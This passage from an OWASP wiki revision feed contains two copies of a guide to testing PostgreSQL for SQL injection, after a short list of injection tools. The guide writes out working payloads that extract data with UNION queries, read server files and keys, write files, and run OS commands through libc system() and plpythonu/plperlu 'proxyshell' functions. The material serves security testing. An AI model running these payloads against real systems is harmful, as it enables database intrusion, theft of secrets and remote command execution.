Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.&lt;br /&gt;
&lt;br /&gt;
http://www.imperva.com/products/scuba.html&lt;br /&gt;
&lt;br /&gt;
=== SQID SQL Injection Digger ===&lt;br /&gt;
&lt;br /&gt;
SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:&lt;br /&gt;
* Look for SQL injection in a webpage, by looking for links&lt;br /&gt;
* Submit forms in a webpage to look for SQL injection&lt;br /&gt;
* Crawl a website to perform the above listed operations&lt;br /&gt;
* Perform a google search for a query and look for SQL injections in the urls found&lt;br /&gt;
&lt;br /&gt;
http://sqid.rubyforge.org&lt;br /&gt;
&lt;br /&gt;
=== SqlDumper ===&lt;br /&gt;
&lt;br /&gt;
Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.&lt;br /&gt;
&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php &lt;br /&gt;
&lt;br /&gt;
=== SQL Power Injector ===&lt;br /&gt;
&lt;br /&gt;
SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.&lt;br /&gt;
&lt;br /&gt;
http://www.sqlpowerinjector.com &lt;br /&gt;
&lt;br /&gt;
=== BobCat ===&lt;br /&gt;
&lt;br /&gt;
BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.&lt;br /&gt;
&lt;br /&gt;
http://www.northern-monkee.co.uk/index.html&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44178</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44178"/>
				<updated>2008-10-21T01:16:10Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When an SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* OWASP : &amp;quot;[[Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44177</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44177"/>
				<updated>2008-10-21T01:15:42Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When an SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;[[Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
